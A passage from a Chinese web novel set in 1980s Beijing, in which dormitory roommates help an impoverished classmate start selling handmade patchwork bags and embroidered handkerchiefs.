管明月却无意间发现苏丽珍神色平常,半点不见忧心。 她眼珠一转,一把扑过去,长长的胳膊半环住对方肩头,嘿嘿一笑,道:“六啊,你是不是又有啥好主意了?赶紧跟咱们说说!” 其他人一听这话,也赶忙目光希冀地看向苏丽珍。 苏丽珍见大家目光灼灼地紧盯着自己,倒也没端着,点头道:“我确实有一点想法。” “不过我想先问问芳姐,不知道你们待会儿愿不愿陪我再去一趟医院。” 她本来想过几天,等吕新芳彻底康复再说,既然大家这么着急,那索性就不等了。 而且这事如果真成了,说不定能让吕新芳高兴之余,可以提早两天出院。 “珍珍,你是说让我做布袋去卖?”坐在病床上的吕新芳一脸诧异。 此刻的医院病房里,212寝室的六人齐聚,都在认真听苏丽珍给吕新芳出的主意。 第178章 苏丽珍点头:“对,就做你的这款拼布包。” 其他人顺着她的目光一起看向那只被放在床t头柜上的拼布包,都露出若有所思的神情。 吕新芳却有些犹豫:“可是我这布袋都是用没人要的碎布拼出来的,也不像人家百货公司里的帆布包,用得都是整块的好料子……这样的东西,会有人愿意花钱买吗?” 这次不等苏丽珍开口,一旁的万美君忽然道:“肯定有人愿意!芳姐,你不知道你做的这个包私底下多受女生欢迎。” “我和思彤借你的包用的时候,咱们班好多女生都来问过。只是你平时来去匆匆的,大家跟你私下接触的少,所以都不好意思直接跟你打听而已,其实她们都可喜欢这个包了!是吧,思彤?” 刘思彤也点头:“对,而且不光咱们班,还有隔壁金融班也是,所以我觉得小六的这个主意能行!” 吕新芳还是觉得没把握:“可是我这包在我们老家那边,都是穷困得买不起整料子的人才用的……你们不知道,我们那边都叫这种补丁做成的包叫‘讨饭包’的。” “什么‘讨饭包’!”苏丽珍不赞同道,“这种由碎布头拼成的包,按说也应该叫‘百纳包’,历来是很有讲究的。” “咱们老祖宗过去有百衲衣、百纳被,谁家的小孩子要是多病多灾、不好养活,家里的长辈就会挨家挨户讨一块布头,制成百衲衣或百纳被,小孩子穿用了能祛病化灾,说是护身符也不为过。” “这明明就是好东西!” 只不过头些年,大家日子过得穷,人们穷怕了,骨子里就稀罕一切能象征富贵的东西,开始厌烦那些好似始终与贫穷挂钩的老物件,连带一些老习俗也同样变得不招人待见。 所以百衲布做的包也成了“讨饭包”。 寝室里,除了家是农村的吕新芳外,其他人还是第一次听说这百衲衣的事,一时都给听住了。 苏丽珍又劝吕新芳道:“芳姐,咱们退一步,不提这些旧风俗,只说你做的包,这其实就跟做菜是一个道理。同样的材料,但是不同的人做出来的味道也千差万别,所以材料只是一方面,重要的是你的设计和手艺。” “芳姐,事实证明,很多人喜欢你的设计和制作手艺,所以我认为这件事是完全可行的,你其实可以自信一些。” 大家也觉得苏丽珍的主意好,都劝吕新芳,让她放心大胆地去试一试,毕竟她的好手艺有目共睹。 而且做这个拼布包成本也不高,就算头一批试水的包包卖得不好,也有她们寝室其他五个人帮忙兜底,可以全部买下来自己用或者送人。反正有些事不用明说,大家心照不宣,绝对不会让吕新芳赔本。 吕新芳在大家的鼓励下也逐渐动摇,最后她深吸一口气,痛快地点头道:“好,那我就试一试!” 她想着,就算自己做出来的包卖不掉,也可以送给几个可爱的室友妹妹。毕竟自打出事以来,几个女孩就一直为她奔走忙碌,她心里很是感激,只要她们不嫌弃她的包用料低廉就成。 双方都自觉为吕新芳的拼布包找好了“出路”,立志不叫对方吃亏。 这时,陈红梅忽然接过话道:“芳姐,我看你的衬套、被单上有一些很漂亮的小花样,那些也都是你自己绣的吧?” 吕新芳点了点头,有些不好意思道:“是我自己绣的……家里给我的这些料子因为放的年头太多,所以边边角角难免有糟烂,我舍不得都裁掉,就顺手绣点花上去,瞧着好看些。” 一听这话,包括苏丽珍在内的所有人都肃然起敬。 难怪吕新芳只靠一双手,就能把一堆平平无奇的碎布拼成一只美观时尚的包包,原来她手上的针线功夫这么厉害! 要知道这可是刺绣,正儿八经的传统手艺!搁现在,除了那些家学渊源的,可没几个人会了。 万美君一拍巴掌,激动道:“芳姐,你有这本事,别说做拼布包,就是随便绣点手绢啊、头巾什么的,也照样能卖钱啊!” 虽说现在都时兴“洋货”,比如的确良衬衫、尼龙丝袜这些,但也不是说正统的古典手艺就没人稀罕,像是刺绣这种需要真功夫的技艺,照样供不应求。 所以还别说,万美君这个主意真是不错。 大家忍不住把万美君夸了一顿。 万美君得意的不行,使劲挺了挺小胸脯,一脸骄傲道:“看看,我万小五也是很聪明的!” 结果被刘思彤和管明月按住,朝着胳肢窝一阵猛挠,万美君笑得眼泪都出来了,瞬间投降。 笑闹了一阵,大家又好奇问起吕新芳学了多久的刺绣。 吕新芳也没想到室友们对她会绣东西这件事这么重视,见大家满眼崇拜地看着自己,一时失笑不已。 “其实我只是跟我奶奶学了几年,而且我天分不高,手艺也是平常。我记得小时候,我奶奶经常会绣一些手绢、枕套这样的东西,每年都会有人到村子里来收,奶奶靠着刺绣也能给家里添些收入。” “我是我们家这一辈唯一的女孩,那会儿看我奶绣的东西好看,就吵着要跟她学。这么学了几年后,我奶的眼睛不行了,再也拿不了针,我也就不学了。” 既然提到了家里人,吕新芳就顺势说起了自己家里的事。 其实她并不是那种因为家里困难,为此就自卑地不愿提起这些的人。 之前一方面是实在忙碌,再者也觉得没必要特地搬出来说。 现在难得有空闲,看着团团围坐在自己身边的室友们,她也想说一说自己的事,也省得室友们因为顾虑她的心情,总是小心翼翼地说话。 吕新芳的老家在冀省一个偏僻的小村子,那里人多地少,也没什么特产,人们祖祖辈辈都很贫困。 吕新芳的爷爷会点木匠手艺,加上有几分胆气,年轻的时候就离家独自去县城闯荡。也是在县城里,他遇见了当时做丫鬟,跟主家逃荒过来的吕新芳奶奶。 吕新芳的奶奶原本是那户人家小姐的贴身丫鬟,只是那家小姐在逃荒路上不幸生病夭折了,吕奶奶就被主家以半个银元的价格卖给了吕爷爷。 吕奶奶虽然身世坎坷,但她识字会写,也见过一些世面,因此很得吕爷爷爱慕,夫妻俩成婚后感情一直很好。 后来抗战爆发,吕爷爷为保护妻儿惨死在日寇的铁蹄下,独留吕奶奶带着两个年幼的孩子艰难存活。 吕新芳的爸爸是吕奶奶的二儿子。吕爷爷去世的时候,他还在吕奶奶腹中,是个遗腹子。 不知道是不是吕奶奶孕中遭逢大难,伤心过度,吕爸爸出生后先天聋哑,身体也比较瘦弱。长大后经人介绍,他娶了邻村一个因伤至哑的孤女,就是吕新芳的妈妈。 吕爸爸和吕妈妈成婚后也有了两个孩子,吕新芳是妹妹,她上面还有一个哥哥。 比较幸运的是,吕新芳和哥哥都很健康,并没有任何聋哑的迹象。 只是命运的眷顾实在有限,倒是重重考验让人难以喘息。 吕哥哥在三岁的时候因为一场意外,右手被严重烧伤,整只手掌萎缩成一团,只有无名指和小指头能稍微伸直。 至此,吕新芳一家四口的小家庭,也只有她一个人是健全的。 因为病弱残疾的家人,吕新芳打小就好强,且小小年纪就操心家里家外。 后来,吕家所在的大队建立了小学。 吕奶奶自己识文断字,知道知识的重要性,所以一咬牙就把吕新芳兄妹和她大伯家的两个男孩都送去上学。 四个孩子里就属吕新芳学得最好,期期成绩名列前茅,甚至考上了县里最好的初中,当时直接轰动了整个公社。 只是吕家太穷了,吕新芳的父母、哥哥,病的病、弱的弱,如果不是吕大伯一家撑着,不知道要怎样艰难。 家里连吃饱饭都成问题,更遑论要供四个孩子读书。 如果按照时下大多数人的观点,肯定是吕新芳这个女娃娃要辍学,省下钱来供给上面的哥哥们。 只是吕奶奶为人公正,并不重男轻女,加上吕新芳的成绩最好,她也舍不得断了孙女读书的路。 一番思量后,在吕新芳上初中的三年里,她的亲哥哥和大伯家的大堂哥都陆续从公社的初中退学了。 到她考上县重点高中的那一年,她的小堂哥在自家田埂上坐了一宿,第二天也毅然决然退了学。 本来以为凭吕新芳平t时的成绩,考上大学是手到擒来的事,没想到上天偏爱捉弄人。 吕新芳第一年高考的时候,正赶上村子里试行包产到户。村里一户无赖人家看吕新芳的父母、哥哥残疾病弱,就起心思威逼他们把吕家分到的那点好地与自家的薄地交换。 高考的前一天,那家人家故意找茬,双方直接打了起来。吕新芳的大伯被对方一锄头打破了头,当时县医院都没敢留人,是送到市里才保住一条命。 吕新芳听说了这事,连夜赶到市里,就这么生生错过了第二天上午的考试。 第二年,吕新芳临考前吃了一块吕妈妈特地珍藏许久的糕点,结果引发急性肠胃炎,上吐下泻,考试也发挥失常。 吕新芳就这么倒霉地连续两年高考失利,所有人都开始劝吕家放弃。 村里的人说吕家对她已经仁至义尽,是吕新芳自己没那个命,何苦为了她一人,把整个吕家拖垮,更何况还是个不值钱的女娃子。 那时的吕新芳看着一贫如洗的家,受伤后身体也垮了的大伯和一天比一天沉默的大伯娘,真是心如刀割,就算再强的心气儿也没了。 就在她自己也打算放弃的时候,关键时刻,是吕奶奶咬紧牙关,一声不吭敲响了村支书家的大门,用自家不多的那点好地换了钱,逼着吕新芳再考一年。 老太太说了,她一辈子不信命,就算把她这一身老骨头砸碎了也得把她的孙女供出去。 好在吕新芳没有辜负她老人家的期望,这一年,她考上了大学,全国最好的大学。 提起那段往事,吕新芳的眼中还会浮起泪花。 不过,她吸了下鼻子,脸上很快露出豁达的笑容,语调轻快道:“你们一直觉得我辛苦,其实比起那三年的备考时间,我反而觉得这样的日子很轻松、很快乐。” “只要想到我寄回去的钱能把家里欠了的债还上,让大伯好好修养,让我爸妈他们不用强撑着下地干活,让我最爱的奶奶能吃上一块肉,我就浑身充满了干劲。” “这也是我一直以来的心愿。” 苏丽珍几人听完都忍不住红了眼眶。 芳姐真的太难了,这情况简直超出了她们的想象! 别看有些事芳姐只是轻描淡写地一语带过,但是同样经历过高考的她们尚且不愿回想那段岁月的辛苦,更何况是背负了这么大压力的她呢? 这些年,她又是怎么咬牙撑过来的呢? 几个女生又是难过、又是心疼。 苏丽珍忍不住握住吕新芳的双手,良久才坚定道:“芳姐,你一定会实现你的心愿!” “对!芳姐,你一定会的!” “芳姐,我们相信你,也永远支持你!” “谢谢、谢谢大家!” 吕新芳热泪盈眶,和大家的手紧紧握在一起。 这一刻,她感到前所未有的幸福。虽然命运带给了她一次次的打击和苦难,却也给了她最好的家人和最好的朋友。 她其实也是幸运的。 也许是心里盼着能早点实践室友们的提议,接下来两天,吕新芳的状态特别好,身体也恢复得很快,医生在经过一番悉心检查后也批准她可以一天后出院。 与此同时,212寝室的其他几个女生也在各自忙碌着。 自从那天了解了吕新芳家里的情况后,她们几人就受到了很大触动,同时也格外希望能尽早帮助吕新芳促成做包卖包的事。 管明月动用自家老爹的关系,找了个在一家大型纺织厂上班的熟人,争取能买到物美价廉的碎布。 刘思彤和万美君四处收集一些时尚杂志,期望将来能给吕新芳提供灵感。 陈红梅则通过一番打听后,买下了一套裁缝专用的剪裁工具,准备到时候拿给吕新芳用。 第179章 至于苏丽珍,她则是考虑到吕新芳将来做工的场所。那些碎布材料什么的都放在寝室肯定不成,而且如果是做包的话,纯手工的效率也未免太低。 所以她第一时间就给凤城的苏厚德和苏振东打电话,将室友的情况告诉父子俩,希望取得爷儿俩的同意,将兴华胡同家里苏振东的房间和缝纫机借给吕新芳使用。 尤其是那台缝纫机,是苏振东新婚时送给杜晓兰的彩礼。只是杜晓兰并不喜欢缝缝补补这类琐碎事,当初纯粹就是为了赶时兴。这台机器自打买回来一放就是十年,至今也没被用过。 所以苏丽珍肯定要先争取苏厚德父子俩的同意才行。 苏厚德历来宠爱苏丽珍,苏振东也不遑多让。对于这点小事,父子俩自然没有任何意见,甚至还觉得能有个人品可靠的闺女来家跟苏丽珍一起作个伴也挺好。 一切前期准备工作完成,吕新芳这边也顺利出院,且在寝室里又额外休息一天,确定没有任何问题后,这天周五下午,上完最后一节大课,趁着时间还早,寝室六人集体出门了。 今天她们的主要任务是先去管明月介绍的人那里买材料,然后再去苏丽珍兴华胡同的家。 她们买材料的地方是首都一家大型的纺织厂,厂里的一个车间副主任跟管明月的爸爸关系不错,所以当初一听说管明月要带着室友来买碎布,二话不说就答应了。 副主任姓梁,办事很妥帖,知道她们今天下午过来,早早就跟值班的警卫打好了招呼,直接将她们带到了厂里的报废品仓库。 几乎是她们前脚刚到,后脚接着信儿的梁主任就过来了。 梁主任四十多岁,长得白白胖胖,脸上笑眯眯的,看见管明月就一口一个“大侄女”的叫着,很是亲切。 梁主任亲自把她们带进仓库里,指着眼前堆成小山似的碎布道:“大侄女,这里边就是你要的碎布头,你们想要多少就随便挑。” 这些碎布统一用麻袋大小的白布袋装着,挤挤挨挨地靠墙堆在一起,因为没封口,大家能清楚地看到里面各种花花绿绿的布头。 这些都是布料打卷后剩余的边角料,宽的能有手掌那么宽,窄的不足二指,虽然有些细窄,但料子本身没有任何问题。 而且苏丽珍看到这些碎布条时就想到大街上常遇到的那些卖发带、发圈的,如果是做那些东西,就算是不足两指宽的布条也能用得上。 吕新芳的手那么巧,到时候临时做一些,当做卖包或刺绣品的搭头招徕顾客,也很不错。 就在她出神之际,梁主任却没停留,又带着她们往仓库里头走,很快就到了一间锁门的库房前。 “孩子们,你们难得来一趟,我这里还有些处理品,我想着你们兴许也能用得上。” 梁主任说着,就打开了这间小库房。 众人进起一看,立时齐齐眼前一亮。 跟外头那些乱七八糟的碎布头相比,这里的布料都是成卷成匹的,一摞摞按照颜色、种类规整地摆放在货架上,看着利索多了。 梁主任解释道:“这些都是生产过程中印错、印花或者不符合规格的布料,只是样式花纹上面有瑕疵,质量方面还是没得说的。你们不妨也看看,相中什么就直接拿,要多少都行,叔叔直接给你们合最低价。” 几人眼睛都瞪大了,尤其是在听了梁主任的报价后,更是兴奋得不行。 这里的瑕疵布一尺竟然只要两毛钱,这是什么概念呢? 要知道现在外头最便宜的布料也要一尺五毛钱左右,而且还需要布票。 而这里的布料多少都不用票!虽然样式上有问题,但并不是一整块料子都不能用,况且人家质量方面又没问题,如果心思够巧妙的话,能有效避开或者反过来利用瑕疵部分,这些料子甚至可以用来做成各种衣裳,更何况是做包呢! 总之,一尺两毛钱绝对是人家在照顾她们! 吕新芳自然也清楚这件事,不由向梁主任投去感激的眼神。 梁主任朝她呵呵一笑:“去吧,孩子,慢慢挑。” 吕新芳也不废话,虽然她知道人家完全是看在管明月父亲的情面上,但也不妨碍她内心的感激。 只是如今她手头拮据,就算是眼前挣钱的事也全赖几个室友支持,这会儿说什么都是虚的,她也只能把对所有人的感激放在心里,打定主意今后要是日子宽松了,说什么也要好好报答大家。 大概是天生对缝纫制作方面有天赋,当吕新芳看到一块布料时,脑子里就会自动将它生成要制作的东t西,比如什么料子适合做包包,什么适合做衣裳,几乎是瞬间在脑海里就有了概念。 相比之下,包括苏丽珍在内的其他几个女生就明显不行。她们只能大概率看看哪块料子颜色更好,哪块印错的地方比较少,所以都非常有自知之明地没有给吕新芳瞎出主意。 吕新芳很快就挑好了想要的布料,大家瞧了瞧,发现除了两卷黑色和米色的平纹厚棉布外,她挑的料子大多是颜色、花纹都比较素雅清新的款式。 不知道为什么,明明之前这些布料在货架上还不起眼,但是被吕新芳一单独拎出来,好像一下就显眼起来。 几个女生不由暗自心服口服,不愧是能把一堆碎布头变成时尚洋气包包的人,这审美能力超绝。 见她们挑好了,梁主任又找来了人帮着裁料子,然后直接开票算账。 因为料子总体比较多,所以尽管单价便宜,但是到最后也花了将近三十块钱。 这么多布料别说做包,就算是做衣裳都够做个十多身了,倒不是吕新芳突然想要放开手脚大干一场。 主要是机会难得,要是包的行情不好,她也可以用这些布料给家里人做衣裳。 乡下人没那么多讲究,就算是印错、印花了的料子也比补丁强,家里人不但不会挑理,反而会高兴她遇到贵人。 不过一口气拿下这么多布料,也确实是一笔不小的费用。好在之前室友借给了她一笔钱做创业基金,加上之前在小饭馆打工的钱,总算是顺利把账结了。 吕新芳心里想着,幸亏她这次脸皮够厚,到底接过了室友们的钱,要不然劳烦人家裁了这么多料子,临了却付不出钱可就难看了。 瑕疵布买的多,但是外边仓库里的碎布也照样能用,只是费事了些,但架不住成本更低,吕新芳舍不得错过,也要了两袋子。 这种边角料一大袋子才卖两块钱,但装碎布的白布袋子一个却要五毛。吕新芳来的时候倒是带了两个布兜子,只是没想到这边卖碎布的方式这么“豪横”,两个布兜子连三分之一都装不完。 还是梁主任大手一挥,连袋子到边角料全送给了她们,还帮着她们用推车送到了大门口。 “大侄女,要不叔把这推车也借给你们用吧。” 这些布料不算沉,但是体积可不小,梁主任担心几个女孩子不好拿,遂主动提出要把厂里的推车借给她们。 管明月豪迈地一挥手:“不用了,梁叔。我们能拿,就不给您添麻烦了。” 说着,她就从碎布袋子里摸出两条指头宽的细布条,把两个袋口分别扎紧,再把两条细布条系在一起,最后往肩头上一架,刚好把两个大布袋一前一后都搭在了肩上。 梁主任看乐了,忍不住竖起了大拇指:“到底是我大侄女,这不但脑瓜子灵光,手脚也麻溜,像样!” 倒把管明月夸得不好意思了。 剩下的布料都是整块的,虽然数量多,但比较规整,她们五个人,一人拿一些刚刚好。 都准备差不多了,吕新芳最后朝着梁主任鞠了一躬,郑重道:“梁主任,谢谢您。” 她没有攀关系跟着管明月一起叫“梁叔”,但该有的态度一丝不少。 梁主任温和道:“孩子,一点小事,不用放在心上。以后你要是还想来拿布就直接过来,我已经跟库房那边打好招呼了。” 这次不光吕新芳,连管明月也跟着嘴甜道谢:“谢谢梁叔!” 苏丽珍几个灵机一动,也跟着异口同声喊道:“谢谢叔叔!” 一群女孩子齐刷刷跟自己道谢,梁主任嘴角都压不下来了。 “哈哈,好说、好说,孩子们实在太客气了!” 从纺织厂出来,一行人就直奔兴华胡同。 到家的时候,刚好对面老王头出来倒炉渣,一看苏丽珍后面跟着一串小姑娘,各各手里拿着点东西,个头最高那个甚至还扛着老大两个大布袋,顿时愣住了。 “珍珍,你们学校这是放长假了?” 要不咋带这么多东西回来呢? 苏丽珍“噗嗤”笑出声:“没有,王爷爷,我们就是正常休礼拜。她们都是我室友,周末过来我家里玩,顺便把寝室放不下的东西带过来。” 她这么一说,老王头就明白了。 管明月几个也跟着她一起喊人:“王爷爷好!” “哎,好、好!”老王头乐得合不拢嘴,“珍珍啊,正好你亮子哥他师父昨儿给他拿了不少葡萄来,倍儿甜!回头我给你装一盘,也叫你这几个同学一起尝尝。” 苏丽珍知道拦不住,索性也不拒绝,笑眯眯道:“好,谢谢王爷爷。” 老王头一摆手:“谢啥,你这孩子就是多礼。” 说着,炉渣也不倒了,乐颠颠就返回去拿葡萄去了。 他是真心稀罕苏老哥这个干孙女,人长得好,脑筋也好,还特别体贴知礼。 中秋节,人家一个小姑娘特地拎着不少东西来看望他们这些老街坊。怕他们不收,还非说是苏老哥交待的。 还有大上个礼拜,听说他老伴感冒了,闺女拎着罐头、水果就上门看望来了。 这份贴心叫人打心窝子里喜欢啊! 这么想着,看手里的葡萄就觉得有点少。 他又跑到小儿子王大亮屋里,把儿子藏在柜顶上的一包牛肉干拿出来,放手里掂了掂,这回才满意。 牛肉干好啊,好吃、顶饿还有营养!正好给珍珍她们几个小姑娘吃。 至于他儿子王大亮,挺大一个老爷儿们吃啥零嘴啊,美得他! 苏丽珍捧着老王头塞给她的葡萄和牛肉干,看着老爷子急吼吼的背影有些哭笑不得。 看这牛肉干,亮子哥的零食库十有八九又被王爷爷给一锅端了。 她平时每次回来,王爷爷总要把亮子哥那里私藏的零食搜刮一通,然后反过来贴补她。 她现在都有点不太敢见亮子哥了。 嗯,不过这牛肉干味道确实不错! 管明月几个折腾了半下午,肚子也有点饿了,这会儿吃着葡萄配牛肉干,喝得是苏丽珍提早买好的橘子汽水。有吃有喝的,别提多美了。 稍微休息了一会儿后,大家就开始干活了。 第一个任务是先帮吕新芳把那两大袋子的碎布按照颜色大小归类,到时候方便她统一搭配制作。 第二个就是教吕新芳用缝纫机。 她们六个人里,吕新芳家里、甚至是所在的整个村子都没有一台缝纫机,她也只是在城里的百货商店远远看见过。 其他五个人家里倒是都有这东西,可除了苏丽珍之外,另外四人在家却是从没碰过这玩意儿。 就算是苏丽珍,那也是仅限于堪堪会使用机器的及格线水平。 所以只能“矬子里头拔大个”,由她来负责教吕新芳学会使用缝纫机。 好在吕新芳确实心灵手巧,人家不过是看着苏丽珍用过一回,自己上手试了几次,马上就学会了。她手上的动作又快又稳,走线直顺整齐,让苏丽珍赞叹不已。 不知道是不是学会用缝纫机的喜悦带来了灵感,吕新芳迫不及待地想上手做一次包包。 她很快挑选了一些合心意的碎布,然后根据布料的颜色动手剪裁成各种不规则的形状,最后用缝纫机完成拼接。 吕新芳完全沉浸在这份工作里,中途没有任何停顿。 也不知道过去多久,等她再次抬起头时,一只跟她原先的拼布包风格一致,但总体样式和拼色部分又稍微有点不同的包包已经做好了! 然后身后就突然响起一片鼓掌声! 吕新芳回过头,却是她亲爱的室友们齐齐站在房间门口,正笑眯眯地看着她。 “小太阳”万美君第一个冲进来,拿过她手里的包,一边不错眼地欣赏着,一边高声夸赞道:“芳姐,这包太好看了,这简直就是艺术!芳姐,你的手绝对是‘神手’!” 其他人也纷纷附和。 管明月更是高兴道:“我看着这包好像比芳姐原来那只更有特点!现在别说你们了,连我这种平时头发都懒得梳的人都觉得好看,想上手买一只呢。” “芳姐,我看你真不用太担心,就你这手艺,这卖包的事准能成!” 吕新芳被大家夸得不好意思,但到底对这件事更多了几分信心。 第180章 等这只新诞生的漂亮包包在几个室友手里挨个转了一圈后,苏丽珍才笑眯眯地出声打断几人:“好了,我的姐姐们,我相信芳姐的巧手能把门口那两t袋子碎布都‘化腐朽为神奇’。但是在这之前,我建议咱们先把晚饭吃了,好饭不怕晚,但好菜架不住凉啊!” 几个姑娘都哈哈笑了起来,连忙相互簇拥着出了这边屋子,到东屋吃饭。 等一进东屋客厅,吕新芳看见屋子正中间那一大桌子菜立时瞪大了眼睛。 陈红梅笑着给她解释:“珍珍说今天一方面是庆祝你顺利出院,另一方面也是为了招待咱们这些第一次登门的室友,所以特地在国营饭店打包了这些菜。” 吕新芳有些不好意思,室友们今天过来珍珍家,也是为了她的事,按说这顿饭应该由她来请的。 似乎看出她的心思,苏丽珍笑眯眯地接口道:“红梅姐,其实主要是我嘴馋了,咱们学校食堂虽然味道不错,但偶尔还是想换换口味。难得今天有这个机会能光明正大搓一顿,再没有比你们更好的借口了!” 一听她这么说,几个女孩都笑了起来。 刘思彤忍不住道:“那咱们赶快动筷吧!你们不知道,刚刚我和美君闻着这些菜时就忍不住咽口水了。” 万美君撇嘴:“你自己馋,干嘛拖我下水!” 刘思彤哼道:“那好啊,你不馋,那你待会儿少吃点。” 万美君才不干:“那可不行!我刚刚跟小六说了,我今晚要吃三碗饭的!” 刘思彤:“那我就吃四碗!” 陈红梅听得扶额:“天啊,你们是小学生吗!” 管明月和吕新芳在一旁笑得直打跌。 经过这一番笑闹,大家觉得更饿了,赶紧拿起筷子开吃。 一顿美餐后,大家稍微休息了一会儿,便又陪着吕新芳一起做包。 不过说是陪着一起,但因为几个女生都不是手巧的,所以其实大部分工作还是吕新芳自己来,她们主要是在旁边作伴,提供提供情绪价值。 在室友们的陪伴下,半个晚上的时间,吕新芳又一口气做出两个拼布包来。 其实她还能再做的,只是室友担心她身体初愈,不愿她太劳累,所以九点一过,直接就把她从缝纫机上拉走了。 当天夜里,六个女孩直接在苏家留宿。 东西屋各睡三个人,好在这会儿天气已经渐冷了,大家相互挤挤,还挺暖和的。 一夜好眠,第二天苏丽珍早早起床,煮了白粥和鸡蛋,又到胡同口的饭店买了包子和油条,记得管明月喜欢吃焦圈,也买了不少。 大家起来看苏丽珍大清早又准备了这么多吃的,从管明月开始,一个接一个地往苏丽珍身上扑,抱着她直喊贴心。 刘思彤和万美君更是嚷嚷着小六世界第一好,她们都想嫁给小六算了! 结果被管明月一手一个,直接推得远远的,嘴里更是毫不留情道:“别、别,不带恩将仇报的!” 把两个女孩气得举起拳头对着她“咣咣”一顿锤。 早餐在说说笑笑中愉快结束,大家又一起帮着苏丽珍收拾屋子。 人多干活快,家务做完后,管明月三个就张罗着要出去买点菜,中午回来亲自做一顿饭给大家吃。 陈红梅第一个举手赞成。 别看几个“菜鸟”在家里厨房手都不伸一下,但这不是在苏丽珍家里嘛!反正只有她们几个,到时候做什么、怎么做全凭她们自己做主,这感觉就跟现实版的“过家家”一样,想想就觉得有意思!所以,几人那颗原本与厨房无缘的心也耐不住开始蠢蠢欲动。 苏丽珍乐得随她们高兴,反正有管明月这个“地头蛇”在,也不怕她们出去,找不回来。 她留下看家,顺便给吕新芳打下手。 有了昨天的经验,今天吕新芳也异常顺手,一上午的时间又做出了四个包,加上昨天三个,已经有七个了。明天上午可以出去试卖一下,有什么问题的话,下午还能回来及时调整。 苏丽珍看她忙了一上午,劝她先休息一会儿。 正好之前管明月她们四个已经把菜买回来了,这会儿已经钻进厨房忙活半天了。她索性叫上吕新芳一起,打算去看看几位大厨的午饭进度。 等两人过去后,看着四人忙活了半个小时的劳动成果,半天说不出话来。 陈红梅的土豆丝切得比小拇指头都粗; 刘思彤改刀后的西红柿,有一半直接变成了西红柿酱; 管明月负责打鸡蛋,结果打第一个的时候因为用力过猛,一下就把鸡蛋磕碎在了锅台上;然后这个大聪明第二次居然选择直接徒手捏碎,弄得碗里掉进去好多鸡蛋皮,现在正用筷子头一点点往外扒拉呢; 最惨的是万美君,说是洗茄子的时候,直接被茄子蒂上的小刺扎破了指头,现在看见茄子都害怕了! 苏丽珍和吕新芳:“……” 有点明白为啥人家饭馆老板当初那么不愿意要她们了。 苏丽珍和吕新芳最后把四人客客气气都给请出了厨房,两人分工合作,很快就做了一桌简单的家常菜。 五花肉焖土豆茄子丁,小炒肉,西红柿炒鸡蛋,麻辣豆腐,醋溜白菜,拍黄瓜。 六个女孩美美吃了一顿。 但是管明月她们四个之后再也不张罗要自己下厨了。 吃完了饭,又午休了一会儿,养足了精神。吕新芳就跟几个女孩商量,先不做包了,她想绣几条手绢试试。 手绢本身很好做,只要剪裁好,再用缝纫机锁个好看的花边就行了。 主要是上面刺绣的图案,需要费些功夫。 现在吕新芳的刺绣水平按她自己来说,只能算是及格水平。如果简单绣些花花草草,一天差不多能绣个二、三条。 听上去效率完全比不上做包,但是绣手绢轻便灵活,她在学校里利用课余时间就能做,这点是做包比不了的。 反正明天她们要去试卖拼布包,完全可以顺道带几条刺绣手绢去试试水。 吕新芳一直随身带着绣花针,现在就差一个绣绷。没有绣绷,绣布容易抻不平,绣出的花样效果不好。 这就把大家难住了,一时还真想不到上哪儿去淘换这种老物件。 苏丽珍便宽慰她道:“芳姐,你先别着急,我这就去我们隔壁李奶奶家问问,没准儿她老人家能知道。” 东院老李太太退休前就是分管这一片的街道干部,这附近的大事小情都一清二楚,说不定能给她们出出主意。 说话间,她就起身去了隔壁。 老人家看见她来还挺高兴的:“珍珍啊,正好你过来,我听老王他们说,你同学来你家作客了?我家今天煮了不少盐水花生,待会儿你带一盘回去。” 苏丽珍忙道:“李奶奶,您别忙,我这次过来主要是跟您打听点事。您知道咱这附近哪里能买到绣绷吗?” 老李太太听她要买这个,惊讶了一瞬:“绣绷?就是绣花撑子吧?我家就有这东西。孩子,你是要学刺绣吗?” 苏丽珍一听十分惊喜,当即向老人家解释是帮同学打听,想暂时借来应应急,并表示等她们找到卖绣撑子的地方后,就会把东西还回来。 李老太太很快找出一大、一小两副用大毛巾包好的竹制绣绷,交给了她。 “孩子,你拿去给你同学用吧!这绣花撑子是我婆婆当年留下来的,可惜我们家除了她,谁也不会绣花。所以你也不用给我拿回来了,这东西放我这里也是接灰儿,平白糟践了,还不如就送给你们,好歹能派上用场。” 苏丽珍再三道谢,最后拿着两副绣绷外加一大盘盐水花生,满载而归。 有了工具后,吕新芳马上穿针引线,开始动手刺绣。 其他人都是第一次见到身边人做这种绣活儿,一时都好奇地围在一旁观看。 只见吕新芳手指灵巧,绣针翻飞,也不过十几分钟,就在一方素净的布面上用彩线勾勒出一丛兰花的轮廓。 众人大为惊奇,一个个又是钦佩、又是羡慕。 直到吕新芳一口气绣了一个小时,把这丛兰花的花瓣绣出大半,这才停下来,起身活动身体。 大家之前不敢出声,生怕打扰她,到了这会儿才忍不住兴奋地接过绣绷,一叠声地夸赞起吕新芳来。 吕新芳被大家夸得不好意思,反而一脸惭愧道:“其实我只会几种简单花样,这些也只能算是基本功。” 说罢,又有些发愁:“我还有些担心,我看百货商店里的手绢有好多都是我会绣的这几种花儿t、蝴蝶的图案。我怕到时候我的手绢也翻来覆去只有这几种花样,就算是手工刺绣,到时候大家还是会觉得腻烦。” 管明月不以为然道:“芳姐你想太多了,咱们这些年不就是流行这种花啊、草啊的图案嘛!你们是不知道,年初的时候百货公司来了一批床单,我妈和我那两个嫂子饭都不吃就去排队抢购。” “结果买回来我一看,嚯,好家伙,不是什么‘花开富贵’就是什么‘花开锦绣’,反正是跟花杠上了!” “就这,我妈和我嫂子们还稀罕的什么似的,连我和我哥上手摸摸都不让,还说要留着压箱底,将来给我当嫁妆!” “她们也不想想,就我管一手这德行,像是能和那劳什子‘花开富贵’沾边的人嘛!” 大家被她的话逗得不行。 不过管明月说的也是事实,仔细想想,商店里那些纺织品的花样确实是长年累月就那么几个样式。 也许这种单一的审美很快就会被更加时髦洋气的风格取代,但至少眼下,这些花样还是有市场的。 加上吕新芳的手绢有手工刺绣加成,实在不必担心遇不上识货的人。 苏丽珍看她还是有些纠结,想了想,给她出了个主意:“芳姐,我觉得你可以考虑绣一些带点西方文化特色的图案。比如玫瑰花、蝴蝶结、圣诞树之类的,或者干脆来上两句英文诗词、问候语,你看怎么样?” 吕新芳的手绢随着拼布包一起卖,市场定位主要是针对一些有时尚追求的女性。 而现如今国内年轻人十分推崇西方文化,虽然苏丽珍对这一点持保留态度,但是如果单从市场角度出发,苏丽珍认为带有西方文化特色的刺绣图案很有可能更受这部分人青睐。 其他人听完苏丽珍的主意,都是眼前一亮,纷纷赞同。 